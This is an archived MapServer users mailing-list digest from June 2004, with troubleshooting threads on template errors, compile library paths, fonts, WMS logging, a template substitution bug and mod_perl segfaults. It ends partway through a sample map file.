From COUTUJF at dfo-mpo.gc.ca Thu Jun 17 05:56:30 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Thu, 17 Jun 2004 08:56:30 -0400 Subject: [Mapserver-users] Unable to access file. set in index.html Message-ID: Hi everybody, Following the meeting in Ottawa last week, I'm trying to set up a demo mapserver application to show to management what MapServer can do for us. I'm using apache1.3 on Windows NT4 . I customized the Itasca demo to fit my data. So here is my problem, let's start with the stuff that works: If I try http://serveraddress/mapserv.exe?map=../htdocs/workshop/test.map&mode=map I get the map I want. I also specified in the index.html those variables: I can see that the .png files are created by mapServer in the /tmp/ directory, but when I try to use the template, hence the Initialize button (identical to Itasca one) I get: Content-type: text/html msReturnPage(): Unable to access file. set in index.html I did try to get directly to http://serveraddress/workshop/tmp/filename.png and I do get the png in the browser so I guess it's no security problem. please help, thanks! JF Coutu Canadian Cost Guard coutujf at dfo-mpo.gc.ca From 1wilkerson at charter.net Thu Jun 17 05:49:10 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Thu, 17 Jun 2004 08:49:10 -0400 Subject: [Mapserver-users] Re:Can you do Logical Expressions in PHP/Mapscript? References: <40D07862.5040503@consultoria.eti.br> <002f01c45460$9e4a9ca0$6400a8c0@Dale1> <40D18AD2.8000604@consultoria.eti.br> Message-ID: <167d01c45469$7c8c5f50$6400a8c0@Dale1> This is a multi-part message in MIME format. ------=_NextPart_000_167A_01C45447.F5332F00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thank you Eduardo. Was your expression for a MAP file or for = PHP/Mapscript? I'm hoping to find a PHP/Mapscript example of the = following: EXPRESSION ('[TIP_CODIGO]' eq '08' AND [FLAGS]>0) =20 Best, Peter ----- Original Message -----=20 From: Eduardo Patto Kanegae=20 To: P Wilkerson=20 Cc: mapserver-users at lists.gis.umn.edu=20 Sent: Thursday, June 17, 2004 8:13 AM Subject: Re: [Mapserver-users] Can you do Logical Expressions in = PHP/Mapscript? see this topic: = http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0406/msg00649.ht= ml best. Eduardo P Wilkerson escreveu:=20 And if so, what is the syntax? With much appreciation!! Peter --=20 Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - = http://www.consultoria.eti.br/ptbr/?menuoption=3Dmapserver I Encontro Nacional de Usu=E1rios MapServer - = http://mapserver.cttmar.univali.br/encontro2004 F=F3rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** ------=_NextPart_000_167A_01C45447.F5332F00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Thank you Eduardo.    = Was your=20 expression for a MAP file or for PHP/Mapscript?  I'm hoping to find = a=20 PHP/Mapscript example of the following:
 
EXPRESSION=20 ('[TIP_CODIGO]' eq '08' AND [FLAGS]>0)  
 
Best,
Peter
 

----- Original Message -----
From:=20 Eduardo Patto Kanegae =
Cc: mapserver-users at lists.g= is.umn.edu=20
Sent: Thursday, June 17, 2004 = 8:13=20 AM
Subject: Re: [Mapserver-users] = Can you do=20 Logical Expressions in PHP/Mapscript?

see this topic: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0406= /msg00649.html

best.

Eduardo

P=20 Wilkerson escreveu:=20
And if so, what is the = syntax?
 
With much = appreciation!!
 
Peter
 

--=20
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254

Treinamento em UMN MapServer - http:=
//www.consultoria.eti.br/ptbr/?menuoption=3Dmapserver
I Encontro Nacional de Usu=E1rios MapServer - http://mapserver=
.cttmar.univali.br/encontro2004
F=F3rum MapServer Brasil - http://mapserver.cttmar=
.univali.br/forum

***Fim da Mensagem / End of Message ***
------=_NextPart_000_167A_01C45447.F5332F00-- From Tom.Kralidis at ec.gc.ca Thu Jun 17 06:10:17 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Thu, 17 Jun 2004 09:10:17 -0400 Subject: [Mapserver-users] Compile error Message-ID: <2576812186CDD411BF1500508B6DCE9507367002@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Nicolas Boretos [mailto:nicolas at maich.gr] > Sent: Thursday, June 17, 2004 2:18 AM > To: Kralidis,Tom [Burlington] > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Compile error > > > Kralidis,Tom [Burlington] wrote: > > >Hi, > > > >I'm running into issues in deploying MapServer. > > > >Info: > > > >- OS: Fedora Core 2 > >- supporting libs installed in default locations > > > >I've included my terminal session in trying to compile (attachement > >build_output.txt). > > > >Note that it's looking for the libpq lib. I even tried copying > >/usr/local/pgsql/lib/libpq* to /usr/local/lib, but ldd still > gives me > >problems for libpq. > > > >Any suggestions are valued. > > > >Thanks > > > >..Tom > > > >========================= > >Tom Kralidis > >Systems Scientist > >Environment Canada > >Tel: +01-905-336-4409 > >http://www.ec.gc.ca/ > > > > > Hi Tom, > > I usually add the shared lib directory to the /etc/ld.so.conf > file, and > then I do > an "ldconfig" in that directory, to update. > Some OS's e.g. Solaris sometime need explicit lib path, e.g. > > LD_LIBRARY_PATH="path to libs...." : export LD_LIBRARY_PATH > > regards, > Yiasou, That worked like a charm! Thanks ..Tom > nicolas boretos > > > From boli611 at hotmail.com Thu Jun 17 06:07:53 2004 From: boli611 at hotmail.com (boli) Date: Thu, 17 Jun 2004 21:7:53 +0800 Subject: [Mapserver-users] about gmap Message-ID: Eric Bridger, thanks a lot. I find the fonts used in the mapfile are all listed in the font.txt, and the related font files exist. Another phenomena is the map of Nunavut can be displayed, while others can't. >On Wed, 2004-06-16 at 04:48, boli wrote: >> I have download gmap and installed it under apache2. While I browse it, something went wrong. The error-message is: >> Warning: [MapServer Error]: msGetLabelSize(): Could not find/open font in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 530 >> Fatal error: Call to a member function on a non-object in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 531 >> What can I do about it? > >I know little about the gmap demo, but the problem is with your True >Type fonts. Mapserver can't find them. See this url to get you started >on your search: http://mapserver.gis.umn.edu/doc40/fontset.html > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gheysen.t at skynet.be Thu Jun 17 06:23:52 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Thu, 17 Jun 2004 15:23:52 +0200 Subject: [Mapserver-users] Tile4ms on windows NT sp6 Message-ID: <200406171323.i5HDNqRq026327@outmx001.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, I have created a php script that create a tileindex with tile4ms. All is ok in Windows XP but when I have installed the site on Windows NT sp6, I have always an error in tile4ms.exe. I don't know how to solve this problem. My mapserver config is the window version of Mapserver 4.0.2. downloaded from dmsolutions groups. Thanks for your help. Gheysen Thibaut. -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,
 
I have created a php script that create a tileindex with tile4ms. All is ok in Windows XP but when I have installed the site on Windows NT sp6, I have always an error in tile4ms.exe. I don't know how to solve this problem.
 
My mapserver config is the window version of Mapserver 4.0.2. downloaded from dmsolutions groups.
 
Thanks for your help.
 
Gheysen Thibaut.


 
-------boundalter150977-- From ter-haseborg at sf-datentechnik.de Thu Jun 17 06:49:14 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Thu, 17 Jun 2004 15:49:14 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers Message-ID: <26FAB31EFF50034782DFE474AB44FE3E02933E@nt-sf-exchange.Windows2000> Hi, is there any way to log the requests the UMN wms-client sends to a remote wms-server. I tried the LOG and DEBUG parameters, but I get no output from this so far. The logfile isn't even created. This is the map-file used: NAME TEST SIZE 400 400 STATUS ON EXTENT 2476553.0 5540279.0 2779499.0 5856970.0 UNITS METERS SHAPEPATH "./data/" DEBUG ON PROJECTION 'init=epsg:31466' END WEB LOG "/Programme/Apache Group/Apache2/htdocs/tmp/ms.log" IMAGEPATH "/Programme/Apache Group/Apache2/htdocs/tmp/" IMAGEURL "/tmp/" END LAYER NAME "Test" DEBUG ON [...] (system-configuration: Win2k; Apache 2.0.47; MS 4.0; PHP 4.3.2, MapScript rev 1.177) TIA, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany From jesko at geocontent.de Thu Jun 17 06:55:58 2004 From: jesko at geocontent.de (Dirk Jesko) Date: Thu, 17 Jun 2004 15:55:58 +0200 Subject: [Mapserver-users] Mapserver 4.2.0 Template Weirdness In-Reply-To: <40D17D70.2000201@gemini.local> Message-ID: Hi Marcus, I might have an explanation. It seems to be a bug with the linux version. The windows binaries work just fine. I had the same problem with [layers] today. If &layers=layer1+layer2+layer3 is passed to mapserver, all layers are displayed, but only the last is returned (layer3) to the [layers] variable in the template. The reason seems to be the processLine function in maptemplate.c. The snprintf function used to replace [layers] with the actual values does not work the way it should (on linux systems). I replaced snprintf by strcat, which works perfectly for me. If you are familiar with C you can probably apply the fixes yourself and rebuild mapserver. Otherwise, I can send you a modified maptemplate.c tomorrow. Regards, Dirk Jesko > -----Urspr?ngliche Nachricht----- > Von: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users- > admin at lists.gis.umn.edu] Im Auftrag von Markus Spring > Gesendet: Donnerstag, 17. Juni 2004 13:16 > An: mapserver-users at lists.gis.umn.edu > Betreff: [Mapserver-users] Mapserver 4.2.0 Template Weirdness > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi list, > > checking the 4.2.0 CGI mapserver, a ran across a weird template problem > regarding the [layer], [layer_esc] and [toggle_layers] variables. > > The output with the same querystring of > > &map=/home/springm/perl/Geo- > UMNmapserver/t/maps/verwaltungsgrenzenflur/verwaltungsgrenzenflur.dfo.map > &mode=browse > &layer=l1 > &layer=l0 > &layer=bgl15 > &layer=bgl11 > &layer=bgl20 > &zoomdir=1 > &zoomsize=2 > &mapsize=400+300 > &scale=9700 > &mapxy=4465711.0965965+5341175.7092885 > > (of cours all in one line) returns: > > > > => layers: l1 l0 bgl15 bgl11 bgl20 > => toggle_layers: bgl99 bgl20 bgl11 bgl00 bgl00 bgl00 bgl00 l0 l1 > bgl98 > bgl15 bgl08 bgl08 bgl08 bgl08 bgl08 bgl08 MSSuser __embed__scalebar > __embed__legend > > and > > > > => layers: bgl20 > => toggle_layers: __embed__legend > > I have no explanation for this behavior. > > Kind regards > > Markus > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFA0X1wxxUzQSse11ARAqDWAJ4iZsjeAJP4m0EPfBqd3rHxpeOCoQCeJhow > sauVCV97B3hVYFDCSgT2CaQ= > =ILL4 > -----END PGP SIGNATURE----- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gayathri at ou.edu Thu Jun 17 06:59:43 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Thu, 17 Jun 2004 08:59:43 -0500 Subject: [Mapserver-users] Unable to access file. set in index.html Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B776@XMAIL1.sooner.net.ou.edu> Hi: So in your browser when you are trying to use the template, I assume you are getting an "image not found" box... Can ya right click or "View Source" to see if your image url appears right? Should be something like http://serveraddress/workshop/tmp/ not http://serveraddress/./workshop/tmp/ (The image url .\workshop\tmp\ does not look right to me)... Another thing to check would be is if your "tmp" directory is published as a virtual directory in your webserver. (but since you are saying you get this http://serveraddress/workshop/tmp/filename.png ...that seems to have been configured right) Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > COUTUJF at dfo-mpo.gc.ca > Sent: Thursday, June 17, 2004 7:57 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Unable to access file. set in index.html > > > Hi everybody, > Following the meeting in Ottawa last week, I'm > trying to set up a demo mapserver application to show to > management what MapServer can do for us. I'm using apache1.3 > on Windows NT4 . I customized the Itasca demo to fit my data. > So here is my problem, let's start with the stuff that works: > > If I try > http://serveraddress/mapserv.exe?map=../htdocs/workshop/test.map&mode=ma p I get the map I want. I also specified in the index.html those variables: I can see that the .png files are created by mapServer in the /tmp/ directory, but when I try to use the template, hence the Initialize button (identical to Itasca one) I get: Content-type: text/html msReturnPage(): Unable to access file. set in index.html I did try to get directly to http://serveraddress/workshop/tmp/filename.png and I do get the png in the browser so I guess it's no security problem. please help, thanks! JF Coutu Canadian Cost Guard coutujf at dfo-mpo.gc.ca _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From COUTUJF at dfo-mpo.gc.ca Thu Jun 17 07:37:40 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Thu, 17 Jun 2004 10:37:40 -0400 Subject: [Mapserver-users] Unable to access file. set in index.html Message-ID: Hello, unfortunately, when I try to use the template I get the message: Content-type: text/html msReturnPage(): Unable to access file. set in index.html Hence I don't have much info when doing a "view source". JF -----Message d'origine----- De : Swaminathan, Gayathri [mailto:gayathri at ou.edu] Envoy? : 17 juin 2004 10:00 ? : COUTUJF at dfo-mpo.gc.ca; mapserver-users at lists.gis.umn.edu Objet : RE: [Mapserver-users] Unable to access file. set in index.html Hi: So in your browser when you are trying to use the template, I assume you are getting an "image not found" box... Can ya right click or "View Source" to see if your image url appears right? Should be something like http://serveraddress/workshop/tmp/ not http://serveraddress/./workshop/tmp/ (The image url .\workshop\tmp\ does not look right to me)... Another thing to check would be is if your "tmp" directory is published as a virtual directory in your webserver. (but since you are saying you get this http://serveraddress/workshop/tmp/filename.png ...that seems to have been configured right) Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > COUTUJF at dfo-mpo.gc.ca > Sent: Thursday, June 17, 2004 7:57 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Unable to access file. set in index.html > > > Hi everybody, > Following the meeting in Ottawa last week, I'm > trying to set up a demo mapserver application to show to > management what MapServer can do for us. I'm using apache1.3 > on Windows NT4 . I customized the Itasca demo to fit my data. > So here is my problem, let's start with the stuff that works: > > If I try > http://serveraddress/mapserv.exe?map=../htdocs/workshop/test.map&mode=ma p I get the map I want. I also specified in the index.html those variables: I can see that the .png files are created by mapServer in the /tmp/ directory, but when I try to use the template, hence the Initialize button (identical to Itasca one) I get: Content-type: text/html msReturnPage(): Unable to access file. set in index.html I did try to get directly to http://serveraddress/workshop/tmp/filename.png and I do get the png in the browser so I guess it's no security problem. please help, thanks! JF Coutu Canadian Cost Guard coutujf at dfo-mpo.gc.ca _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gayathri at ou.edu Thu Jun 17 07:42:19 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Thu, 17 Jun 2004 09:42:19 -0500 Subject: [Mapserver-users] Unable to access file. set in index.html Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B779@XMAIL1.sooner.net.ou.edu> Hi: Could you post the map file/ template file... Also, what version of mapserver? What is the configuration you see when you run "mapserv.exe" from command prompt... Are there any missing dlls prompted? Thanks Gayathri > -----Original Message----- > From: COUTUJF at dfo-mpo.gc.ca [mailto:COUTUJF at dfo-mpo.gc.ca] > Sent: Thursday, June 17, 2004 9:38 AM > To: Swaminathan, Gayathri > Cc: mapserver-users at lists.gis.umn.edu > Subject: RE : [Mapserver-users] Unable to access file. set in > index.html > > > Hello, > unfortunately, when I try to use the template I get the message: > > Content-type: text/html msReturnPage(): Unable to access > file. set in index.html > > Hence I don't have much info when doing a "view source". > > JF > > -----Message d'origine----- > De : Swaminathan, Gayathri [mailto:gayathri at ou.edu] > Envoy? : 17 juin 2004 10:00 > ? : COUTUJF at dfo-mpo.gc.ca; mapserver-users at lists.gis.umn.edu > Objet : RE: [Mapserver-users] Unable to access file. set in index.html > > > Hi: > > So in your browser when you are trying to use the template, I > assume you are getting an "image not found" box... > > Can ya right click or "View Source" to see if your image url > appears right? Should be something like > http://serveraddress/workshop/tmp/ > not http://serveraddress/./workshop/tmp/ > > (The image url .\workshop\tmp\ does not look right to me)... > > Another thing to check would be is if your "tmp" directory is > published as a virtual directory in your webserver. (but > since you are saying you get this > http://serveraddress/workshop/tmp/filename.png ...that seems > to have been configured right) > > Gayathri > From lfilak at medinaco.org Thu Jun 17 08:10:46 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 17 Jun 2004 11:10:46 -0400 Subject: [Mapserver-users] mod_perl segfaults Message-ID: <20040617151026.776921A65A9@mail.medinaco.org> The following message was sent by Eric Bridger on 16 Jun 2004 10:04:06 -0400. > On Tue, 2004-06-15 at 10:44, Lowell Filak wrote: > > The following message was sent by Robert Marcus Evans > > on Tue, 15 Jun 2004 10:24:56 -0400. > > > > > Actually, we're using mod_perl/HTML::Mason in one place, and straight > > cgi's > > > in another. The CGI's don't ever seem to crash, whereas the mason is > > > unstable. I don't think it would be a threading issue, as I create a > > new map > > > object for each request. However, it would be possible for multiple > > > simultaneous map objects to exist for the same base file. Furthermore, > > I use > > > the static .map file as a base, and draw different dynamic objects on top, > > > depending on the request. I don't explicitly kill the map objects (is > > there > > > some kind of locking mechanism?), but then they're in a lexical scope and > > > should be garbage collected. You guys seem to be suggesting that if I > > used a > > > static map object for each apache process, the problem would still exist. > > > Anyone have any other ideas? > > > > > > -rob > > > > > > Lowell Filak wrote this on Tue, Jun 15, 2004 at 09:47:38AM -0400: > > > > The following message was sent by covad at ert.dyndns.org on Mon, 14 Jun > > > > 2004 15:30:43 -0400. > > > > > > > > > I'm getting errors like the following: > > > > > > > > > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > > > Segmentation fault (11) > > > > > > > > > > in my apache error log, but only intermittently. The site is > > usable, but > > > > > craps out ~25% of the time. > > > > > > > > > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > > > > > > > > > Has anyone else seen behavior like this? > > > > > > > > > > Would rolling back to mapscript 4.0 help? > > > > > > > > > > Thanks, > > > > > > > > > > -rob > > > > > > > > > > > > > Rob > > > > > > > > As Sean mentioned before - it is probably due to multiple requests into > > > > the same map/mapObj. > > > > Starting in 4.2 it should be safe to clone the map to avoid this but it > > > > does require more testing then what has been done. > > > > If that doesn't work I know that GOMOOS (currently very busy so I'm not > > > > sure they will reply) currently uses mod_perl but opens a new map for > > > > each request to ensure that two requests do not conflict. > > > > > > > > Lowell > > > > > > > Rob > > > > Until I have a chance to switch our server to mod_perl I can't reproduce > > the issue but I meant to suggest that you Do use a static map object for > > each request to try and eliminate the problem. > > Dynamic objects being drawn via MapScript only change the map object and > > not the map file so it sounds like your expecting the map object to not > > be shared between requests but in fact it is.? > > You do not need to explicitly kill map objects and as long as seperate > > requests are not sharing the same map object the process of 'reading' > > the same static map file is read-only so no locking should be > > required... unless your doing a saveMapContext.? > > I do see this type of error frequently in our development server Apache > logs: > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > > > Segmentation fault (11) > > in fact as recently as last Monday. Unfortunately I cannot remember what > the circumstances were and I have not been able to reproduce it. When it > happens again (it will) and my memory gets jogged I'll report the > circumstances. > > We never see this in our production server or even in out development > staging server. > > My guess is that it has nothing to do with mod_perl or thread safety > issues since you load your map file for each request (as we do). There > is no issue in multiple processes reading the map file simultaneously. > > Eric > Thanks for the info Eric. Obviously this is good & bad until we have a bug nailed down. Can anyone provide some good steps to reproduce this so a bug can be filed if necessary? Thanks. Lowell From eric.belenfant at ac-orleans-tours.fr Thu Jun 17 08:05:12 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Thu, 17 Jun 2004 17:05:12 +0200 Subject: [Mapserver-users] experiences with mapserver et MAPINFO Message-ID: <40D1B328.50909@ac-orleans-tours.fr> Hi everybody, i'm wondering yet the opportunity to use mapserver. In fact we have MAPINFO to generate maps, and it seems that working with MAPINFO files in mapserver is a little complicated. So, does anyone can share an experience using mapserver and MAPINFO ??? I would be so happy to have a full project, it would justify the choice of mapserver !!! thanks in advance eric -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT From jlacroix at dmsolutions.ca Thu Jun 17 08:36:11 2004 From: jlacroix at dmsolutions.ca (Julien-Samuel Lacroix) Date: Thu, 17 Jun 2004 11:36:11 -0400 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: <40D1BA6B.6080406@dmsolutions.ca> Hi all, Perhaps adding some tools to respond for common questions could solve a part of the problem. It will reduce the amount of traffic on the list without splitting it (It seems that a majority does not want to split). I have two ideas here. First one, adding a "first time here" (Any other name idea are welcome) to the mapserver website. This would be a tool for new users that will take them by the hand and will explain them what's mapserver, what are the main component and more important, where to look to have the information they need (mailing-list, wiki, google, etc.). This would have to be very straight forward to do not overwhelm new users with to much information. This could also be great for teaching new users how they can contribute to community via the mailing-list/wiki. And then here's come the second idea. The wiki is a great tool for user contribution, but it's a bit chaotic and maybe sometimes it's hard to find were to look for when you have a weird error message. So maybe having a wiki page (pointed by the "first time here" page) that list all clickable error messages could be great. Then if you click on an error message then you will find all user contributed solutions to this problem. For sure it will not apply to all error since it always depends on mapfile, installation, permissions, etc., but I think it may be worthful to a lot of cases. Also we will need to encourage users to contribute to this. It's a kind of FAQ, maybe we should just get a more complete FAQ page or multiple FAQ pages (Mapscript FAQ, Raster FAQ, Query FAQ, etc.). The idea is to not split the list in many multiple sublist since most of us will subscribe to all of them anyway. So maybe we should only provide more tools to get less traffic on the current list. My 0,02$ Julien Tyler Mitchell wrote: > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ------------------------------------------------------------ Julien-Samuel Lacroix jlacroix at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From moeller at basis5.de Thu Jun 17 08:42:22 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Thu, 17 Jun 2004 17:42:22 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <26FAB31EFF50034782DFE474AB44FE3E02933E@nt-sf-exchange.Windows2000> References: <26FAB31EFF50034782DFE474AB44FE3E02933E@nt-sf-exchange.Windows2000> Message-ID: <40D1BBDE.6090703@basis5.de> hi, I believe in windows the shappath should be something with "\" not with "/". and it would be easyier if you give a full path like c:\bla\bla\data same in web log and web imagepath. but not in imageurl. there it should be with "/". hope that helps lars Frieso ter Haseborg schrieb: > Hi, > > is there any way to log the requests the UMN wms-client sends to a remote wms-server. > > I tried the LOG and DEBUG parameters, but I get no output from this so far. The logfile isn't even created. > > This is the map-file used: > NAME TEST > SIZE 400 400 > STATUS ON > EXTENT 2476553.0 5540279.0 2779499.0 5856970.0 > > UNITS METERS > SHAPEPATH "./data/" > DEBUG ON > > PROJECTION > 'init=epsg:31466' > END > > WEB > LOG "/Programme/Apache Group/Apache2/htdocs/tmp/ms.log" > IMAGEPATH "/Programme/Apache Group/Apache2/htdocs/tmp/" > IMAGEURL "/tmp/" > END > > LAYER > NAME "Test" > DEBUG ON > [...] > > > (system-configuration: Win2k; Apache 2.0.47; MS 4.0; PHP 4.3.2, MapScript rev 1.177) > > TIA, > > Frieso ter Haseborg > - Software Development - > > -- > > -------------------------------------------------- > S&F Datentechnik GmbH&Co.KG > Reimersstr. 41b > 26789 Leer, Germany > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From m.spring at gmx.de Thu Jun 17 08:59:04 2004 From: m.spring at gmx.de (Markus Spring) Date: Thu, 17 Jun 2004 17:59:04 +0200 Subject: [Mapserver-users] Mapserver 4.2.0 Template Weirdness In-Reply-To: References: Message-ID: <40D1BFC8.2030108@gemini.local> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dirk Jesko wrote: | Hi Marcus, | | I might have an explanation. It seems to be a bug with the linux version. | The windows binaries work just fine. | | I had the same problem with [layers] today. If &layers=layer1+layer2+layer3 | is passed to mapserver, all layers are displayed, but only the last is | returned (layer3) to the [layers] variable in the template. | | The reason seems to be the processLine function in maptemplate.c. The | snprintf function used to replace [layers] with the actual values does not | work the way it should (on linux systems). I replaced snprintf by strcat, | which works perfectly for me. | Hi Dirk, you are definitely right on this! How come nobody has stumbled over it until now??? Are you going to file a bug about this or shall I do so? Kind regards Markus | |> -----Urspr?ngliche Nachricht----- |> Von: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users- |> admin at lists.gis.umn.edu] Im Auftrag von Markus Spring |> Gesendet: Donnerstag, 17. Juni 2004 13:16 |> An: mapserver-users at lists.gis.umn.edu |> Betreff: [Mapserver-users] Mapserver 4.2.0 Template Weirdness |> | Hi list, | | checking the 4.2.0 CGI mapserver, a ran across a weird template problem | regarding the [layer], [layer_esc] and [toggle_layers] variables. | | The output with the same querystring of | | &map=/home/springm/perl/Geo- | UMNmapserver/t/maps/verwaltungsgrenzenflur/verwaltungsgrenzenflur.dfo.map | &mode=browse | &layer=l1 | &layer=l0 | &layer=bgl15 | &layer=bgl11 | &layer=bgl20 | &zoomdir=1 | &zoomsize=2 | &mapsize=400+300 | &scale=9700 | &mapxy=4465711.0965965+5341175.7092885 | | (of cours all in one line) returns: | | | | => layers: l1 l0 bgl15 bgl11 bgl20 | => toggle_layers: bgl99 bgl20 bgl11 bgl00 bgl00 bgl00 bgl00 l0 l1 | bgl98 | bgl15 bgl08 bgl08 bgl08 bgl08 bgl08 bgl08 MSSuser __embed__scalebar | __embed__legend | | and | | | | => layers: bgl20 | => toggle_layers: __embed__legend | | I have no explanation for this behavior. | | Kind regards | | Markus _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users | _______________________________________________ | Mapserver-users mailing list | Mapserver-users at lists.gis.umn.edu | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA0b/IxxUzQSse11ARAqxOAJ9/t/u/DzJ2+OiC8bLgYXPYXvJkvgCfcvot zc+MX6AeTlXCJruCpuOKjkQ= =fCs0 -----END PGP SIGNATURE----- From mike.merrett at city.whitehorse.yk.ca Thu Jun 17 09:25:02 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Thu, 17 Jun 2004 09:25:02 -0700 Subject: [Mapserver-users] experiences with mapserver et MAPINFO Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF52@DUKE.city.whitehorse.yk.ca> here is a complete map file I use for mapinfo files and some rasters tiff and ecw everything else I use is basically from the gmap75 demo with rosa (slightly modified to handle groups and a few other minor things better (at least to me) # # Start of map file MAP ###CONFIG MS_ERRORFILE 'gmap_dev.log' CONFIG "PROJ_DEBUG" "OFF" debug true NAME 'City of Whitehorse' STATUS ON SIZE 500 400 SYMBOLSET "e:\\VariousData\\Devel\\map_test\\etc\\symbols.sym" extent 485108.508198 6714194.605109 506888.578325 6745540.034837 UNITS METERS SHAPEPATH "e:\\VariousData\\Devel\\map_test\\data" FONTSET "e:\\VariousData\\Devel\\map_test\\etc\\fonts.txt" IMAGECOLOR 255 255 255 #transparent off #IMAGETYPE png24 imagetype gif # # Start of web interface definition # WEB #MINSCALE 2000000 minscale 50 MAXSCALE 60000000 # # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root # of the drive where the .MAP file resides. # IMAGEPATH "e:\\VariousData\\Devel\\map_test\\tmp\\" IMAGEURL "/map_test/tmp/" log 'e:\\VariousData\\Devel\\map_test\\tmp\\gmap.log' METADATA "title" "Whitehorse, YT (General)" "author" "Mike Merrett" END END # # Start of reference map # REFERENCE IMAGE images/City_of_Whitehorse_key.png extent 485108.508198 6714194.605109 506888.578325 6745540.034837 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 SIZE 120 90 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM # COLOR 